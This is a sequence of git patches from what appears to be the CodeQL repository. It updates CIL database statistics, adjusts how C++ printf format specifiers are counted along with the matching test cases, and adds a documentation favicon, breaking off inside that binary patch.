@@ cil_method -2309946 +2314557 id -2309946 +2314557 name -439305 +440182 parent -379625 +380382 return_type -213695 +214122 @@ -37063,7 +37194,7 @@ 1 2 -2309946 +2314557 @@ -37079,7 +37210,7 @@ 1 2 -2309946 +2314557 @@ -37095,7 +37226,7 @@ 1 2 -2309946 +2314557 @@ -37111,27 +37242,27 @@ 1 2 -270674 +271215 2 3 -79494 +79653 3 4 -25007 +25057 4 7 -33446 +33513 7 64064 -30682 +30743 @@ -37147,27 +37278,27 @@ 1 2 -284658 +285226 2 3 -76467 +76619 3 5 -39817 +39897 5 25 -33115 +33181 25 52725 -5246 +5257 @@ -37183,17 +37314,17 @@ 1 2 -383606 +384372 2 4 -40178 +40258 4 2803 -15521 +15552 @@ -37209,42 +37340,42 @@ 1 2 -107830 +108046 2 3 -84395 +84564 3 4 -49936 +50036 4 5 -28487 +28544 5 7 -30818 +30880 7 11 -32872 +32938 11 21 -28925 +28982 21 3536 -16358 +16391 @@ -37260,42 +37391,42 @@ 1 2 -114211 +114439 2 3 -86547 +86719 3 4 -50437 +50538 4 5 -28876 +28934 5 7 -32828 +32894 7 11 -29971 +30031 11 26 -28652 +28709 26 1885 -8098 +8115 @@ -37311,32 +37442,32 @@ 1 2 -161943 +162266 2 3 -93565 +93752 3 4 -46330 +46422 4 5 -23264 +23311 5 7 -28355 +28412 7 1924 -26165 +26217 @@ -37352,27 +37483,27 @@ 1 2 -131786 +132049 2 3 -38197 +38273 3 5 -18811 +18848 5 13 -16538 +16571 13 190707 -8361 +8378 @@ -37388,22 +37519,22 @@ 1 2 -153328 +153634 2 3 -30302 +30363 3 6 -19118 +19156 6 28461 -10946 +10967 @@ -37419,22 +37550,22 @@ 1 2 -145190 +145480 2 3 -35340 +35410 3 5 -17526 +17561 5 62018 -15638 +15669 @@ -37444,15 +37575,15 @@ cil_method_source_declaration -2103985 +2108184 method -2103985 +2108184 source -1861709 +1865426 @@ -37466,7 +37597,7 @@ 1 2 -2103985 +2108184 @@ -37482,12 +37613,12 @@ 1 2 -1756916 +1760423 2 1021 -104793 +105003 @@ -37497,19 +37628,19 @@ cil_method_implementation -1724452 +1727894 id -1724452 +1727894 method -1637701 +1640970 location -3090 +3096 @@ -37523,7 +37654,7 @@ 1 2 -1724452 +1727894 @@ -37539,7 +37670,7 @@ 1 2 -1724452 +1727894 @@ -37555,12 +37686,12 @@ 1 2 -1550949 +1554045 2 3 -86751 +86924 @@ -37576,12 +37707,12 @@ 1 2 -1550949 +1554045 2 3 -86751 +86924 @@ -37597,7 +37728,7 @@ 1 11 -272 +273 11 @@ -37612,7 +37743,7 @@ 36 50 -233 +234 50 @@ -37632,12 +37763,12 @@ 133 192 -233 +234 192 271 -233 +234 271 @@ -37647,7 +37778,7 @@ 372 654 -233 +234 682 @@ -37657,7 +37788,7 @@ 1599 33053 -189 +190 @@ -37673,7 +37804,7 @@ 1 11 -272 +273 11 @@ -37688,7 +37819,7 @@ 36 50 -233 +234 50 @@ -37708,12 +37839,12 @@ 133 192 -233 +234 192 271 -233 +234 271 @@ -37723,7 +37854,7 @@ 372 654 -233 +234 682 @@ -37733,7 +37864,7 @@ 1599 33053 -189 +190 @@ -37743,15 +37874,15 @@ cil_implements -106974 +107187 id -106215 +106427 decl -17706 +17741 @@ -37765,12 +37896,12 @@ 1 2 -105455 +105666 2 3 -759 +760 @@ -37786,27 +37917,27 @@ 1 2 -11525 +11548 2 3 -2701 +2706 3 5 -1576 +1580 5 18 -1328 +1331 18 2180 -574 +575 @@ -37816,23 +37947,23 @@ cil_field -1007580 +1009591 id -1007580 +1009591 parent -200967 +201369 name -360546 +361265 field_type -165715 +166046 @@ -37846,7 +37977,7 @@ 1 2 -1007580 +1009591 @@ -37862,7 +37993,7 @@ 1 2 -1007580 +1009591 @@ -37878,7 +38009,7 @@ 1 2 -1007580 +1009591 @@ -37894,47 +38025,47 @@ 1 2 -60566 +60687 2 3 -40995 +41077 3 4 -22271 +22316 4 5 -15467 +15498 5 6 -11700 +11723 6 8 -16932 +16966 8 12 -17837 +17873 12 227 -15078 +15108 237 4205 -116 +117 @@ -37950,47 +38081,47 @@ 1 2 -60566 +60687 2 3 -40995 +41077 3 4 -22271 +22316 4 5 -15467 +15498 5 6 -11700 +11723 6 8 -16932 +16966 8 12 -17837 +17873 12 227 -15078 +15108 237 4205 -116 +117 @@ -38006,37 +38137,37 @@ 1 2 -70344 +70484 2 3 -59704 +59824 3 4 -20402 +20443 4 5 -11452 +11475 5 7 -15672 +15703 7 11 -16042 +16074 11 132 -7349 +7364 @@ -38052,22 +38183,22 @@ 1 2 -261621 +262144 2 3 -55305 +55415 3 7 -30044 +30104 7 5664 -13574 +13601 @@ -38083,22 +38214,22 @@ 1 2 -261621 +262144 2 3 -55305 +55415 3 7 -30044 +30104 7 5664 -13574 +13601 @@ -38114,17 +38245,17 @@ 1 2 -305133 +305743 2 3 -34025 +34093 3 2790 -21386 +21428 @@ -38140,32 +38271,32 @@ 1 2 -82546 +82711 2 3 -43726 +43813 3 4 -8950 +8968 4 7 -15243 +15274 7 31 -12527 +12552 31 21103 -2720 +2726 @@ -38181,22 +38312,22 @@ 1 2 -96612 +96805 2 3 -44451 +44540 3 6 -14216 +14245 6 12257 -10435 +10455 @@ -38212,27 +38343,27 @@ 1 2 -119706 +119945 2 3 -17945 +17980 3 5 -13228 +13255 5 20 -12454 +12479 20 8901 -2380 +2384 @@ -38242,15 +38373,15 @@ cil_parameter -4542993 +4552061 id -4542993 +4552061 method -2218513 +2222941 index @@ -38258,7 +38389,7 @@ param_type -552091 +553193 @@ -38272,7 +38403,7 @@ 1 2 -4542993 +4552061 @@ -38288,7 +38419,7 @@ 1 2 -4542993 +4552061 @@ -38304,7 +38435,7 @@ 1 2 -4542993 +4552061 @@ -38320,27 +38451,27 @@ 1 2 -899793 +901589 2 3 -786773 +788344 3 4 -324378 +325026 4 7 -174792 +175141 7 42 -32775 +32840 @@ -38356,27 +38487,27 @@ 1 2 -899793 +901589 2 3 -786773 +788344 3 4 -324378 +325026 4 7 -174792 +175141 7 42 -32775 +32840 @@ -38392,22 +38523,22 @@ 1 2 -947787 +949679 2 3 -797272 +798863 3 4 -312750 +313375 4 23 -160702 +161023 @@ -38656,42 +38787,42 @@ 1 2 -185256 +185626 2 3 -136955 +137229 3 4 -44981 +45071 4 5 -38420 +38497 5 7 -43818 +43906 7 11 -42747 +42833 11 27 -41827 +41911 27 58009 -18081 +18117 @@ -38707,42 +38838,42 @@ 1 2 -188459 +188835 2 3 -135656 +135926 3 4 -45395 +45486 4 5 -37204 +37278 5 7 -44266 +44354 7 11 -42806 +42891 11 28 -41667 +41750 28 46067 -16635 +16669 @@ -38758,22 +38889,22 @@ 1 2 -385280 +386049 2 3 -109743 +109962 3 4 -44431 +44520 4 36 -12635 +12660 @@ -38783,37 +38914,37 @@ cil_parameter_in -32327 +32391 id -32327 +32391 cil_parameter_out -45989 +46081 id -45989 +46081 cil_setter -106677 +106890 prop -106677 +106890 method -106677 +106890 @@ -38827,7 +38958,7 @@ 1 2 -106677 +106890 @@ -38843,7 +38974,7 @@ 1 2 -106677 +106890 @@ -38853,15 +38984,15 @@ cil_getter -379075 +379831 prop -379075 +379831 method -379075 +379831 @@ -38875,7 +39006,7 @@ 1 2 -379075 +379831 @@ -38891,7 +39022,7 @@ 1 2 -379075 +379831 @@ -38901,15 +39032,15 @@ cil_adder -20855 +20897 event -20855 +20897 method -20855 +20897 @@ -38923,7 +39054,7 @@ 1 2 -20855 +20897 @@ -38939,7 +39070,7 @@ 1 2 -20855 +20897 @@ -38949,15 +39080,15 @@ cil_remover -20855 +20897 event -20855 +20897 method -20855 +20897 @@ -38971,7 +39102,7 @@ 1 2 -20855 +20897 @@ -38987,7 +39118,7 @@ 1 2 -20855 +20897 @@ -39045,23 +39176,23 @@ cil_property -379620 +380378 id -379620 +380378 parent -93579 +93766 name -106151 +106363 property_type -49785 +49885 @@ -39075,7 +39206,7 @@ 1 2 -379620 +380378 @@ -39091,7 +39222,7 @@ 1 2 -379620 +380378 @@ -39107,7 +39238,7 @@ 1 2 -379620 +380378 @@ -39123,42 +39254,42 @@ 1 2 -28842 +28900 2 3 -22257 +22301 3 4 -11403 +11426 4 5 -8444 +8461 5 6 -5733 +5744 6 9 -8653 +8671 9 25 -7091 +7105 25 1883 -1153 +1155 @@ -39174,42 +39305,42 @@ 1 2 -33583 +33650 2 3 -17774 +17810 3 4 -11301 +11323 4 5 -8454 +8471 5 6 -5713 +5725 6 8 -6619 +6632 8 15 -7208 +7222 15 1883 -2925 +2930 @@ -39225,32 +39356,32 @@ 1 2 -35028 +35098 2 3 -25737 +25788 3 4 -13462 +13489 4 5 -8094 +8110 5 8 -7748 +7763 8 50 -3509 +3516 @@ -39266,27 +39397,27 @@ 1 2 -62581 +62706 2 3 -21415 +21458 3 4 -6473 +6486 4 8 -8751 +8768 8 2134 -6930 +6944 @@ -39302,27 +39433,27 @@ 1 2 -62581 +62706 2 3 -21488 +21531 3 4 -6448 +6461 4 8 -8765 +8783 8 1400 -6867 +6881 @@ -39338,17 +39469,17 @@ 1 2 -89335 +89514 2 3 -10960 +10982 3 568 -5855 +5866 @@ -39364,27 +39495,27 @@ 1 2 -31392 +31455 2 3 -7509 +7524 3 4 -3178 +3184 4 8 -4360 +4369 8 15452 -3343 +3350 @@ -39400,27 +39531,27 @@ 1 2 -33179 +33245 2 3 -7023 +7037 3 4 -3041 +3048 4 8 -3859 +3867 8 5858 -2681 +2687 @@ -39436,22 +39567,22 @@ 1 2 -39895 +39975 2 3 -5305 +5315 3 12 -3796 +3803 12 6253 -788 +790 @@ -39461,23 +39592,23 @@ cil_event -20826 +20867 id -20826 +20867 parent -6453 +6466 name -13053 +13079 event_type -6789 +6803 @@ -39491,7 +39622,7 @@ 1 2 -20826 +20867 @@ -39507,7 +39638,7 @@ 1 2 -20826 +20867 @@ -39523,7 +39654,7 @@ 1 2 -20826 +20867 @@ -39539,17 +39670,17 @@ 1 2 -5738 +5749 2 7 -491 +492 7 465 -223 +224 @@ -39565,17 +39696,17 @@ 1 2 -5738 +5749 2 7 -491 +492 7 465 -223 +224 @@ -39591,12 +39722,12 @@ 1 2 -5913 +5925 2 20 -486 +487 30 @@ -39617,17 +39748,17 @@ 1 2 -11647 +11670 2 4 -963 +965 4 566 -442 +443 @@ -39643,17 +39774,17 @@ 1 2 -11647 +11670 2 4 -963 +965 4 566 -442 +443 @@ -39669,12 +39800,12 @@ 1 2 -12459 +12484 2 566 -593 +594 @@ -39690,22 +39821,22 @@ 1 2 -944 +946 2 3 -4511 +4520 3 4 -584 +585 4 8 -574 +575 8 @@ -39726,12 +39857,12 @@ 1 2 -1421 +1424 2 3 -5081 +5091 3 @@ -39752,27 +39883,27 @@ 1 2 -1309 +1311 2 3 -4341 +4350 3 4 -496 +497 4 10 -530 +531 10 243 -111 +112 @@ -39782,23 +39913,23 @@ cil_local_variable -1149772 +1152067 id -1149772 +1152067 impl -348358 +349054 index -691 +692 var_type -154122 +154429 @@ -39812,7 +39943,7 @@ 1 2 -1149772 +1152067 @@ -39828,7 +39959,7 @@ 1 2 -1149772 +1152067 @@ -39844,7 +39975,7 @@ 1 2 -1149772 +1152067 @@ -39860,37 +39991,37 @@ 1 2 -139788 +140067 2 3 -61982 +62106 3 4 -49279 +49377 4 5 -23454 +23501 5 7 -31850 +31913 7 12 -28832 +28890 12 143 -13170 +13196 @@ -39906,37 +40037,37 @@ 1 2 -139788 +140067 2 3 -61982 +62106 3 4 -49279 +49377 4 5 -23454 +23501 5 7 -31850 +31913 7 12 -28832 +28890 12 143 -13170 +13196 @@ -39952,32 +40083,32 @@ 1 2 -168421 +168757 2 3 -69959 +70099 3 4 -37802 +37878 4 5 -20587 +20628 5 7 -27669 +27724 7 47 -23916 +23964 @@ -40211,37 +40342,37 @@ 1 2 -81217 +81379 2 3 -27236 +27290 3 4 -8361 +8378 4 5 -11817 +11840 5 8 -12776 +12801 8 76 -11569 +11592 76 35710 -1143 +1146 @@ -40257,32 +40388,32 @@ 1 2 -85247 +85417 2 3 -30974 +31036 3 4 -8376 +8393 4 5 -11685 +11709 5 14 -12012 +12036 14 21451 -5825 +5837 @@ -40298,27 +40429,27 @@ 1 2 -96539 +96731 2 3 -28662 +28719 3 4 -13754 +13781 4 9 -11866 +11889 9 122 -3299 +3306 @@ -40328,19 +40459,19 @@ cil_handler -101377 +101579 id -101377 +101579 impl -71371 +71513 index -77 +78 kind @@ -40348,15 +40479,15 @@ try_start -97541 +97736 try_end -99756 +99955 handler_start -101377 +101579 @@ -40370,7 +40501,7 @@ 1 2 -101377 +101579 @@ -40386,7 +40517,7 @@ 1 2 -101377 +101579 @@ -40402,7 +40533,7 @@ 1 2 -101377 +101579 @@ -40418,7 +40549,7 @@ 1 2 -101377 +101579 @@ -40434,7 +40565,7 @@ 1 2 -101377 +101579 @@ -40450,7 +40581,7 @@ 1 2 -101377 +101579 @@ -40466,22 +40597,22 @@ 1 2 -53737 +53845 2 3 -11145 +11167 3 5 -5421 +5432 5 17 -1065 +1068 @@ -40497,22 +40628,22 @@ 1 2 -53737 +53845 2 3 -11145 +11167 3 5 -5421 +5432 5 17 -1065 +1068 @@ -40528,17 +40659,17 @@ 1 2 -61817 +61940 2 3 -9330 +9348 3 4 -223 +224 @@ -40554,17 +40685,17 @@ 1 2 -54764 +54874 2 3 -10839 +10860 3 7 -5524 +5535 7 @@ -40585,22 +40716,22 @@ 1 2 -54287 +54396 2 3 -11058 +11080 3 6 -5519 +5530 6 16 -506 +507 @@ -40616,22 +40747,22 @@ 1 2 -53737 +53845 2 3 -11145 +11167 3 5 -5421 +5432 5 17 -1065 +1068 @@ -41294,12 +41425,12 @@ 1 2 -94246 +94434 2 8 -3295 +3301 @@ -41315,7 +41446,7 @@ 1 2 -97541 +97736 @@ -41331,12 +41462,12 @@ 1 2 -94246 +94434 2 8 -3295 +3301 @@ -41352,12 +41483,12 @@ 1 2 -95283 +95473 2 4 -2258 +2262 @@ -41373,12 +41504,12 @@ 1 2 -95327 +95517 2 3 -2214 +2218 @@ -41394,12 +41525,12 @@ 1 2 -94246 +94434 2 8 -3295 +3301 @@ -41415,12 +41546,12 @@ 1 2 -98529 +98726 2 7 -1226 +1228 @@ -41436,7 +41567,7 @@ 1 2 -99756 +99955 @@ -41452,12 +41583,12 @@ 1 2 -98529 +98726 2 7 -1226 +1228 @@ -41473,7 +41604,7 @@ 1 2 -99581 +99779 2 @@ -41494,7 +41625,7 @@ 1 2 -99756 +99955 @@ -41510,12 +41641,12 @@ 1 2 -98529 +98726 2 7 -1226 +1228 @@ -41531,7 +41662,7 @@ 1 2 -101377 +101579 @@ -41547,7 +41678,7 @@ 1 2 -101377 +101579 @@ -41563,7 +41694,7 @@ 1 2 -101377 +101579 @@ -41579,7 +41710,7 @@ 1 2 -101377 +101579 @@ -41595,7 +41726,7 @@ 1 2 -101377 +101579 @@ -41611,7 +41742,7 @@ 1 2 -101377 +101579 @@ -41621,15 +41752,15 @@ cil_handler_filter -807 +809 id -807 +809 filter_start -807 +809 @@ -41643,7 +41774,7 @@ 1 2 -807 +809 @@ -41659,7 +41790,7 @@ 1 2 -807 +809 @@ -41669,15 +41800,15 @@ cil_handler_type -43774 +43862 id -43774 +43862 catch_type -1260 +1263 @@ -41691,7 +41822,7 @@ 1 2 -43774 +43862 @@ -41712,12 +41843,12 @@ 2 3 -267 +268 3 4 -150 +151 4 @@ -41752,11 +41883,11 @@ cil_method_stack_size -1724452 +1727894 method -1724452 +1727894 size @@ -41774,7 +41905,7 @@ 1 2 -1724452 +1727894 @@ -41855,110 +41986,110 @@ cil_public -1908458 +1912268 id -1908458 +1912268 cil_private -927598 +929450 id -927598 +929450 cil_protected -1815934 +1819559 id -1815934 +1819559 cil_internal -41633 +41716 id -41633 +41716 cil_static -793908 +795493 id -793908 +795493 cil_sealed -356107 +356818 id -356107 +356818 cil_virtual -676747 +678098 id -676747 +678098 cil_abstract -164975 +165304 id -164975 +165304 cil_class -238259 +238735 id -238259 +238735 cil_interface -16528 +16561 id -16528 +16561 @@ -41987,37 +42118,37 @@ cil_specialname -809970 +811587 id -809970 +811587 cil_newslot -421740 +422582 id -421740 +422582 cil_base_class -235281 +235750 id -235281 +235750 base -21381 +21423 @@ -42031,7 +42162,7 @@ 1 2 -235281 +235750 @@ -42047,27 +42178,27 @@ 1 2 -12299 +12323 2 3 -3854 +3862 3 4 -1611 +1614 4 7 -1888 +1892 7 84 -1606 +1609 86 @@ -42082,15 +42213,15 @@ cil_base_interface -125045 +125295 id -68509 +68646 base -31154 +31216 @@ -42104,27 +42235,27 @@ 1 2 -47634 +47729 2 3 -8103 +8119 3 5 -6254 +6266 5 9 -5368 +5379 9 25 -1148 +1150 @@ -42140,27 +42271,27 @@ 1 2 -22447 +22491 2 3 -3426 +3433 3 5 -2516 +2521 5 30 -2341 +2345 30 2180 -423 +424 @@ -42170,15 +42301,15 @@ cil_enum_underlying_type -14051 +14079 id -14051 +14079 underlying -38 +39 @@ -42192,7 +42323,7 @@ 1 2 -14051 +14079 @@ -42253,11 +42384,11 @@ cil_type_parameter -184619 +184987 unbound -103781 +103988 index @@ -42265,7 +42396,7 @@ param -184619 +184987 @@ -42279,22 +42410,22 @@ 1 2 -74890 +75039 2 3 -18976 +19014 3 13 -8147 +8163 13 22 -1766 +1770 @@ -42310,22 +42441,22 @@ 1 2 -74890 +75039 2 3 -18976 +19014 3 13 -8147 +8163 13 22 -1766 +1770 @@ -42573,7 +42704,7 @@ 1 2 -184619 +184987 @@ -42589,7 +42720,7 @@ 1 2 -184619 +184987 @@ -42599,11 +42730,11 @@ cil_type_argument -736442 +737912 bound -480914 +481874 index @@ -42611,7 +42742,7 @@ t -251975 +252478 @@ -42625,17 +42756,17 @@ 1 2 -335879 +336549 2 3 -117253 +117487 3 22 -27781 +27836 @@ -42651,17 +42782,17 @@ 1 2 -340780 +341460 2 3 -115141 +115371 3 22 -24992 +25042 @@ -42889,27 +43020,27 @@ 1 2 -100228 +100428 2 3 -72685 +72830 3 4 -42450 +42535 4 6 -20086 +20126 6 4208 -16523 +16556 @@ -42925,17 +43056,17 @@ 1 2 -190635 +191015 2 3 -55436 +55547 3 20 -5903 +5915 @@ -43036,19 +43167,19 @@ cil_attribute -328023 +328678 attributeid -328023 +328678 element -248388 +248884 constructor -3372 +3379 @@ -43062,7 +43193,7 @@ 1 2 -328023 +328678 @@ -43078,7 +43209,7 @@ 1 2 -328023 +328678 @@ -43094,17 +43225,17 @@ 1 2 -197181 +197574 2 3 -36663 +36737 3 92 -14542 +14571 @@ -43120,17 +43251,17 @@ 1 2 -213023 +213449 2 3 -30969 +31031 3 7 -4395 +4403 @@ -43146,7 +43277,7 @@ 1 2 -554 +555 2 @@ -43166,22 +43297,22 @@ 5 8 -306 +307 8 11 -262 +263 11 19 -267 +268 19 33 -257 +258 33 @@ -43212,12 +43343,12 @@ 1 2 -598 +599 2 3 -384 +385 3 @@ -43247,12 +43378,12 @@ 17 31 -262 +263 31 50 -257 +258 50 @@ -43272,11 +43403,11 @@ cil_attribute_named_argument -3835 +3842 attribute_id -3343 +3350 param @@ -43284,7 +43415,7 @@ value -1090 +1092 @@ -43298,12 +43429,12 @@ 1 2 -2925 +2930 2 3 -345 +346 3 @@ -43324,12 +43455,12 @@ 1 2 -2925 +2930 2 3 -403 +404 3 @@ -43467,7 +43598,7 @@ 1 2 -720 +721 2 @@ -43498,7 +43629,7 @@ 1 2 -1061 +1063 2 @@ -43513,11 +43644,11 @@ cil_attribute_positional_argument -87062 +87236 attribute_id -83894 +84061 index @@ -43525,7 +43656,7 @@ value -15681 +15713 @@ -43539,12 +43670,12 @@ 1 2 -81212 +81374 2 7 -2681 +2687 @@ -43560,12 +43691,12 @@ 1 2 -81222 +81384 2 7 -2672 +2677 @@ -43658,22 +43789,22 @@ 1 2 -11987 +12011 2 3 -1990 +1994 3 8 -1207 +1209 8 5463 -496 +497 @@ -43689,12 +43820,12 @@ 1 2 -15526 +15557 2 6 -155 +156 @@ -43704,19 +43835,19 @@ metadata_handle -6171670 +6184267 entity -5681216 +5692834 location -3411 +3418 handle -273823 +274370 @@ -43730,17 +43861,17 @@ 1 2 -5208926 +5219601 2 3 -463281 +464205 3 638 -9009 +9027 @@ -43756,12 +43887,12 @@ 1 2 -5440620 +5451758 2 59 -240596 +241076 @@ -43782,62 +43913,62 @@ 3 36 -257 +258 36 79 -267 +268 79 130 -257 +258 130 200 -257 +258 200 289 -262 +263 290 404 -257 +258 407 529 -257 +258 531 748 -257 +258 749 1109 -257 +258 1116 1915 -257 +258 1920 4051 -257 +258 4053 50922 -257 +258 67370 @@ -43868,52 +43999,52 @@ 20 46 -267 +268 46 76 -262 +263 77 119 -257 +258 119 176 -257 +258 176 253 -257 +258 255 332 -262 +263 338 481 -257 +258 483 683 -257 +258 685 1273 -257 +258 1295 2685 -257 +258 2710 @@ -43934,62 +44065,62 @@ 1 2 -18913 +18951 2 3 -44972 +45061 3 5 -23887 +23935 5 6 -17492 +17527 6 7 -30103 +30163 7 9 -18952 +18990 9 11 -22062 +22106 11 13 -21011 +21053 13 21 -21439 +21482 21 39 -21103 +21145 39 83 -20548 +20589 83 -1061 -13335 +1062 +13362 @@ -44005,52 +44136,52 @@ 1 2 -62834 +62959 2 3 -21069 +21111 3 4 -46933 +47027 4 5 -18913 +18951 5 6 -19375 +19414 6 7 -22038 +22082 7 11 -23264 +23311 11 19 -21970 +22014 19 41 -20831 +20872 41 702 -16591 +16625 From 94dea9f71de1fd4ba929cba42caacf79b8923a40 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 15 Dec 2020 17:37:36 +0000 Subject: [PATCH 0273/1241] C++: Add a test of unknown format specifiers (with specsAreKnown check disabled). --- cpp/ql/src/semmle/code/cpp/commons/Printf.qll | 2 +- .../TooManyFormatArguments.expected | 3 +++ .../Likely Bugs/Format/WrongNumberOfFormatArguments/test.c | 4 ++++ 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/commons/Printf.qll b/cpp/ql/src/semmle/code/cpp/commons/Printf.qll index 4785c2b4aa4..5302cf5221d 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/Printf.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/Printf.qll @@ -921,7 +921,7 @@ class FormatLiteral extends Literal { * format specifiers are present in the format string). */ predicate specsAreKnown() { - this.getNumConvSpec() = count(int n | exists(this.getNumArgNeeded(n))) + any() } /** diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected index 89a7719e741..9950408adae 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected @@ -12,3 +12,6 @@ | test.c:39:3:39:8 | call to printf | Format expects 2 arguments but given 5 | | test.c:40:3:40:8 | call to printf | Format expects 2 arguments but given 4 | | test.c:41:3:41:8 | call to printf | Format expects 2 arguments but given 3 | +| test.c:46:2:46:7 | call to printf | Format expects 1 arguments but given 2 | +| test.c:47:2:47:7 | call to printf | Format expects 1 arguments but given 2 | +| test.c:48:2:48:7 | call to printf | Format expects 1 arguments but given 2 | diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c index 8fc3fbe0425..80a5c8a9402 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c @@ -42,4 +42,8 @@ void test(int i, const char *str) } printf("%@ %i %i", 1, 2); // GOOD + + printf("%Y", 1, 2); // GOOD (unknown format character, this might be correct) [FALSE POSITIVE] + printf("%1.1Y", 1, 2); // GOOD (unknown format character, this might be correct) [FALSE POSITIVE] + printf("%*.*Y", 1, 2); // GOOD (unknown format character, this might be correct) [FALSE POSITIVE] } From 676e85a155428cb17fe66265511447b7eee87f1c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 15 Dec 2020 17:42:10 +0000 Subject: [PATCH 0274/1241] C++: Re-enable the check. --- cpp/ql/src/semmle/code/cpp/commons/Printf.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/commons/Printf.qll b/cpp/ql/src/semmle/code/cpp/commons/Printf.qll index 5302cf5221d..4785c2b4aa4 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/Printf.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/Printf.qll @@ -921,7 +921,7 @@ class FormatLiteral extends Literal { * format specifiers are present in the format string). */ predicate specsAreKnown() { - any() + this.getNumConvSpec() = count(int n | exists(this.getNumArgNeeded(n))) } /** From 93dfeac3c8e270f28bff49793530aac136881576 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 15 Dec 2020 17:12:49 +0000 Subject: [PATCH 0275/1241] C++: Make specsAreKnown more accurate. --- cpp/ql/src/semmle/code/cpp/commons/Printf.qll | 1 + .../TooManyFormatArguments.expected | 3 --- .../Likely Bugs/Format/WrongNumberOfFormatArguments/test.c | 6 +++--- 3 files changed, 4 insertions(+), 6 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/commons/Printf.qll b/cpp/ql/src/semmle/code/cpp/commons/Printf.qll index 4785c2b4aa4..97d764f3927 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/Printf.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/Printf.qll @@ -900,6 +900,7 @@ class FormatLiteral extends Literal { */ int getNumArgNeeded(int n) { exists(this.getConvSpecOffset(n)) and + exists(this.getConversionChar(n)) and result = count(int mode | hasFormatArgumentIndexFor(n, mode)) } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected index 9950408adae..89a7719e741 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/TooManyFormatArguments.expected @@ -12,6 +12,3 @@ | test.c:39:3:39:8 | call to printf | Format expects 2 arguments but given 5 | | test.c:40:3:40:8 | call to printf | Format expects 2 arguments but given 4 | | test.c:41:3:41:8 | call to printf | Format expects 2 arguments but given 3 | -| test.c:46:2:46:7 | call to printf | Format expects 1 arguments but given 2 | -| test.c:47:2:47:7 | call to printf | Format expects 1 arguments but given 2 | -| test.c:48:2:48:7 | call to printf | Format expects 1 arguments but given 2 | diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c index 80a5c8a9402..2feb8db9a5a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongNumberOfFormatArguments/test.c @@ -43,7 +43,7 @@ void test(int i, const char *str) printf("%@ %i %i", 1, 2); // GOOD - printf("%Y", 1, 2); // GOOD (unknown format character, this might be correct) [FALSE POSITIVE] - printf("%1.1Y", 1, 2); // GOOD (unknown format character, this might be correct) [FALSE POSITIVE] - printf("%*.*Y", 1, 2); // GOOD (unknown format character, this might be correct) [FALSE POSITIVE] + printf("%Y", 1, 2); // GOOD (unknown format character, this might be correct) + printf("%1.1Y", 1, 2); // GOOD (unknown format character, this might be correct) + printf("%*.*Y", 1, 2); // GOOD (unknown format character, this might be correct) } From f8d8082cf3a3b751a54ee97a72f8b936f0cdd19b Mon Sep 17 00:00:00 2001 From: james Date: Tue, 15 Dec 2020 19:34:56 +0000 Subject: [PATCH 0276/1241] add github favicon --- docs/codeql/conf.py | 2 ++ docs/codeql/images/site/favicon.ico | Bin 0 -> 6518 bytes docs/codeql/index.html | 1 + 3 files changed, 3 insertions(+) create mode 100644 docs/codeql/images/site/favicon.ico diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 6b457ad8ebc..29321e50a58 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -94,5 +94,7 @@ html_static_path = ['_static'] # Copy the static landing page for codeql.github.com/docs when building this sphinx project html_extra_path = ['index.html'] +html_favicon = 'images/site/favicon.ico' + # Exclude these paths from being built by Sphinx exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help', '_build', '*.py*', 'README.rst'] diff --git a/docs/codeql/images/site/favicon.ico b/docs/codeql/images/site/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..cedb6140f458862f97f33d7ca68d9056b4e6e06e GIT binary patch literal 6518 zcmeI0Ply~v6vk_Nx_hR3d!~0+Hw5u8iiQ;hO;#3-Byj~rUDyr8kcfvIatNqN1U(2U zK~OI$Mm%Wn&q0G8;z3X^k|-Y3pah}^-u}sQ!_QS)jK^|FOqGj zsjBzh_kFLctE;LZDD^}scNdkC&4ZcUJ4}1Em(Ka}LBd;3` 